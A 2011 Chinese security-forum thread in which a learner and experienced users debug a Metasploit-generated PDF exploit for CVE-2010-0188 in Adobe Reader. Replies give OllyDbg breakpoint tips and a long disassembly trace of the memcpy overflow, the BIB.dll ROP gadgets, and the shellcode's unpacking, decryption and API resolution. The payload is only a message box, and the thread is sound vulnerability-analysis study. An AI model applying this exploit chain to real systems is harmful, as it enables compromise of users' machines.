首页
社区
课程
招聘
[旧帖] [求助]如何断到shellcode里 0.00雪花
发表于: 2011-7-26 15:44 1738

[旧帖] [求助]如何断到shellcode里 0.00雪花

2011-7-26 15:44
1738
想了解下CVE-2010-0188漏洞具体是如何溢出的。。。
用metasploit把failwest大神的shellcode做成payload生成了一个msf.pdf,能够成功弹出自己的名字~
但是我想看看它具体是如何溢出的,就像<0day安全第二版>里的前五章那栩栩如生的例子一样
于是我用ollydbg打开了AcroRd32.exe,拦了MessageBoxA,具体是bpx MessageBoxA,可我在断点列表中没有看到任何东西,继续程序
运行msf.pdf之后也没有拦下,记得以前softice里bpx MessageBoxA肯定能中断下来的呀~
又把shellcode里的第一个字节改成了CC(int3),运行msf.pdf,也没断下来
因为才看了0day安全的前六章,我也不知道我的知识是否足够用来探索这类漏洞~~
飘了一眼后面的畸形RetAddr断点,能在这个漏洞上中做到吗?本人小白,不知道大家分析这种漏洞时都是用什么方法停下来的呀?。。。还是在打开pdf前设万能断点啊?

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (17)
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
2
当当网不给力 都订了一个月了还没有来= =
漏洞分析文档里面应该会说明溢出的发生位置?至于为什么没有断下来,也不甚了解。
2011-7-26 15:49
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
3
那我再找找文档吧。。。乱试一通以后发现那个messagebox断点好像得bp MessageBoxA才有用~~
谢谢啦~
2011-7-26 15:56
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
4
呵呵,忙也没帮上,OD指令不熟,断API一般用的确实是bp指令。
2011-7-26 16:00
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
5
bp会断在函数第一条指令上,除非调用者有意绕过头几条指令,那就肯定能断到
bpx会断在主模块对该函数的引用上,如果函数不在导入表中,而是动态获取的,bpx是断不到的
2011-7-26 18:47
0
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
6
学习了,shellcode是动态调用API,bpx理所应当的断不下来
2011-7-26 19:34
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
7
原来如此,学习了~
2011-7-27 10:24
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
8
另外还有些简单的方法就是当弹出msgbox的时候

方法1. od先f12暂停程序,然后alt+f9,然后点确定,这样就断在了调用msgbox的下一条指令上
方法2. od alt+m打开内存窗口,然后找到主模块的text段,f2下断,点确定,也能断在调用msgbox的下一条指令上

两种方法的原理是一样的
2011-7-28 12:16
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
9
谢谢~~
有关这个漏洞,我找到了一些文档,说是TIFFReadDirectory()中调用了TIFFFetchShortPair(),count>2时进入TIFFFetchData(),其中_TIFFmemcpy(cp, tif->tif_base + dir->tdir_offset, cc);为缓冲区溢出的函数
在另一篇文章:http://blog.fortinet.com/cve-2010-0188-exploit-in-the-wild/
里发现TIFFFetchData()是在AcroForm.api中的,丢到IDA里,ctrl+L,查找memcpy在地址20802622(是这样找吗?IDA我也不太会用)
(这篇文章里的地址好象不对,我的AcroForm.api版本比它高,版本不一样吧,poc还是能正常溢出)
于是用od打开acrord32.exe,下bp TranslateMessage MSG==WM_LBUTTONUP后F9,打开msf.pdf,断下(此时reader未加载acroform.api,所以无法拦下20802622),再F9,弹出MessageBox,按确定再断下,alt+M能看到acroform.text是在20801000。
bp 20802622
重新再来,到了这里
一次一次F9,d 栈里的src地址,可就找不到导致溢出的数据啊~~奇怪的是多按了几次程序就会终止(不执行shellcode)
请问,该如何才能找到那个导致溢出的memcpy函数啊?
2011-7-28 13:57
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
10
弹出msgbox之后 暂停程序看看 调用堆栈,
如果这个漏洞是栈溢出的话,最近一层的返回地址可能已经被破坏所以估计找不到调用memcpy的地方了
那就再往更上一层找 然后下断 一步一步跟

把poc和shellcode发上来吧
2011-7-28 14:10
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
11
附件里是用msf做的测试pdf
shellcode用的就是failwest的弹messagebox的那个(0day安全p97),只是手不听话把对话框内容改了一下,呵呵~
我用的是adobe reader 9.0.0,9.3.0以前的都可以的
我再跟跟看~
上传的附件:
2011-7-28 14:28
0
雪    币: 386
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
学习了~ ......
2011-7-28 16:05
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
13
找了个9.3.0 大致上跟了下

溢出点,就是memcpy这个函数
209D4572 57 push edi
209D4573 03C1 add eax, ecx
209D4575 50 push eax
209D4576 FF75 08 push dword ptr [ebp+8]
209D4579 E8 70E1E2FF call <jmp.&MSVCR80.memcpy>
209D457E 017D 08 add dword ptr [ebp+8], edi
209D4581 017E 24 add dword ptr [esi+24], edi


在这个函数上下断,观察栈并按f9继续
当这个函数的dest拷贝目标地址为栈空间,并且块大小为0x130时就是要覆盖返回地址了
0012D6D0 0012D778 |dest = 0012D778
0012D6D4 043A1ABA |src = 043A1ABA
0012D6D8 00000130 \n = 130 (304.)
0012D6DC 00000198

这时候把栈拨道12D778 然后锁定栈窗口 F8,可以看到返回地址被覆盖为BIB.dll里的一个地址
0012D778 080C0C00 CoolType.080C0C00
0012D77C 00010124 UNICODE "ramFiles=C:\Program Files\Common Files"
0012D780 070072F7 BIB.070072F7
0012D784 00010104 UNICODE "nsole"
0012D788 070015BB BIB.070015BB
0012D78C 00001000
0012D790 0700154D BIB.0700154D
0012D794 070015BB BIB.070015BB

shellcode拿BIB.dll当做了跳板,复制代码的工作也交给了这个dll,f8一步一步跟
0700D731 8B45 DC mov eax, dword ptr [ebp-24] ;从栈中取出shellcode的地址
0700D734 C3 retn

跳板1,从栈里取出shellcode要被实际安放的地址
070015BB 59 pop ecx
070015BC C3 retn

跳板3,从栈里弹出预先设计的代码,一次一个dword,同时这个跳板也负责维护栈平衡
0700154D 8908 mov dword ptr [eax], ecx
0700154F C3 retn

跳板2,将预先设计的代码复制到这个地址,每次一个dword
0700A722 83C0 04 add eax, 4
0700A725 C3 retn

跳板4,调整eax值,继续复制
shellcode反复利用这四个个跳板成功的将一段压缩的代码复制到0x3aa0000(我这里的)
还有一些其他的跳板,多用于维护栈平衡

复制完成后,再利用跳板1将代码实际地址装入eax
然后使用下面这个最后的跳板
0700112F FFD0 call eax

此时eip已经指向复制完成的代码了
不过代码是压缩的
03A10000 5A pop edx
03A10001 52 push edx
03A10002 6A 02 push 2
03A10004 58 pop eax
03A10005 CD 2E int 2E
03A10007 3C 05 cmp al, 5
03A10009 5A pop edx
03A1000A ^ 74 F4 je short 03A10000
03A1000C B8 49492A00 mov eax, 2A4949
03A10011 8BFA mov edi, edx
03A10013 AF scas dword ptr es:[edi]
03A10014 ^ 75 EA jnz short 03A10000
03A10016 87FE xchg esi, edi
03A10018 EB 0A jmp short 03A10024
03A1001A 5F pop edi
03A1001B B9 E0030000 mov ecx, 3E0 ;实际指令块长度
03A10020 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
03A10022 EB 09 jmp short 03A1002D
03A10024 E8 F1FFFFFF call 03A1001A

其中最后一个call就是解压缩的循环,从0x3a1001b可以看出实际指令块长度为0x3e0
解压完成后的代码是加密的,利用这个循环来解密
03C70619 83ED FC sub ebp, -4
03C7061C 317D 13 xor dword ptr [ebp+13], edi
03C7061F 037D 13 add edi, dword ptr [ebp+13]
03C70622 ^ E2 F5 loopd short 03C70619

这是解密后的代码
03AA0624 FC cld
03AA0625 68 6A0A381E push 1E380A6A
03AA062A 68 6389D14F push 4FD18963
03AA062F 68 3274910C push 0C917432
03AA0634 8BF4 mov esi, esp
03AA0636 8D7E F4 lea edi, dword ptr [esi-C]
03AA0639 33DB xor ebx, ebx
03AA063B B7 04 mov bh, 4
03AA063D 2BE3 sub esp, ebx
03AA063F 66:BB 3332 mov bx, 3233
03AA0643 53 push ebx
03AA0644 68 75736572 push 72657375
03AA0649 54 push esp
03AA064A 33D2 xor edx, edx
03AA064C 64:8B5A 30 mov ebx, dword ptr fs:[edx+30]
03AA0650 8B4B 0C mov ecx, dword ptr [ebx+C]
03AA0653 8B49 1C mov ecx, dword ptr [ecx+1C]
03AA0656 8B09 mov ecx, dword ptr [ecx]
03AA0658 8B69 08 mov ebp, dword ptr [ecx+8]
03AA065B AD lods dword ptr [esi]
03AA065C 3D 6A0A381E cmp eax, 1E380A6A
03AA0661 75 05 jnz short 03AA0668
03AA0663 95 xchg eax, ebp
03AA0664 FF57 F8 call dword ptr [edi-8]
03AA0667 95 xchg eax, ebp
03AA0668 60 pushad
03AA0669 8B45 3C mov eax, dword ptr [ebp+3C]
03AA066C 8B4C05 78 mov ecx, dword ptr [ebp+eax+78]
03AA0670 03CD add ecx, ebp
03AA0672 8B59 20 mov ebx, dword ptr [ecx+20]
03AA0675 03DD add ebx, ebp
03AA0677 33FF xor edi, edi
03AA0679 47 inc edi
03AA067A 8B34BB mov esi, dword ptr [ebx+edi*4]
03AA067D 03F5 add esi, ebp
03AA067F 99 cdq
03AA0680 0FBE06 movsx eax, byte ptr [esi]
03AA0683 3AC4 cmp al, ah
03AA0685 74 08 je short 03AA068F
03AA0687 C1CA 07 ror edx, 7
03AA068A 03D0 add edx, eax
03AA068C 46 inc esi
03AA068D ^ EB F1 jmp short 03AA0680
03AA068F 3B5424 1C cmp edx, dword ptr [esp+1C]
03AA0693 ^ 75 E4 jnz short 03AA0679
03AA0695 8B59 24 mov ebx, dword ptr [ecx+24]
03AA0698 03DD add ebx, ebp
03AA069A 66:8B3C7B mov di, word ptr [ebx+edi*2]
03AA069E 8B59 1C mov ebx, dword ptr [ecx+1C]
03AA06A1 03DD add ebx, ebp
03AA06A3 032CBB add ebp, dword ptr [ebx+edi*4]
03AA06A6 95 xchg eax, ebp
03AA06A7 5F pop edi
03AA06A8 AB stos dword ptr es:[edi]
03AA06A9 57 push edi
03AA06AA 61 popad
03AA06AB 3D 6A0A381E cmp eax, 1E380A6A
03AA06B0 ^ 75 A9 jnz short 03AA065B
03AA06B2 33DB xor ebx, ebx
03AA06B4 53 push ebx
03AA06B5 68 D0C0B8C4 push C4B8C0D0
03AA06BA 68 C5CBB5C0 push C0B5CBC5
03AA06BF 8BC4 mov eax, esp
03AA06C1 53 push ebx
03AA06C2 50 push eax
03AA06C3 50 push eax
03AA06C4 53 push ebx
03AA06C5 FF57 FC call dword ptr [edi-4] ;MessageBoxA
03AA06C8 53 push ebx
03AA06C9 FF57 F8 call dword ptr [edi-8] ;ExitProcessA
2011-7-28 16:41
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
14
win7下测了下,这个poc是不行的,因为win7下主模块和dll的基址都是随机的,而shellcode里返回地址是硬编码的,所以win7下eip会指向一个无效地址 引发异常
2011-7-28 19:08
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
15
对的,exploit上说应该在xp sp3下
你的功底真扎实,真有见解,非常感谢你的详细的指导!~
谢谢~
2011-7-28 19:46
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
16
好像前面在用adobe reader 9.0跟的时候memcpy是在209C66E8处?
呵呵~
2011-7-28 20:00
0
雪    币: 435
活跃值: (1212)
能力值: ( LV13,RANK:388 )
在线值:
发帖
回帖
粉丝
17
adobe reader版本不一样 地址不一样很正常
只要确认到了溢出点 溢出过程是一样的 从第一个返回地址被覆盖开始 程序的实际掌握权已经给了shellcode
2011-7-28 20:04
0
雪    币: 238
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
pdx
18
谢谢~
2011-7-28 20:08
0
游客
登录 | 注册 方可回帖
返回
//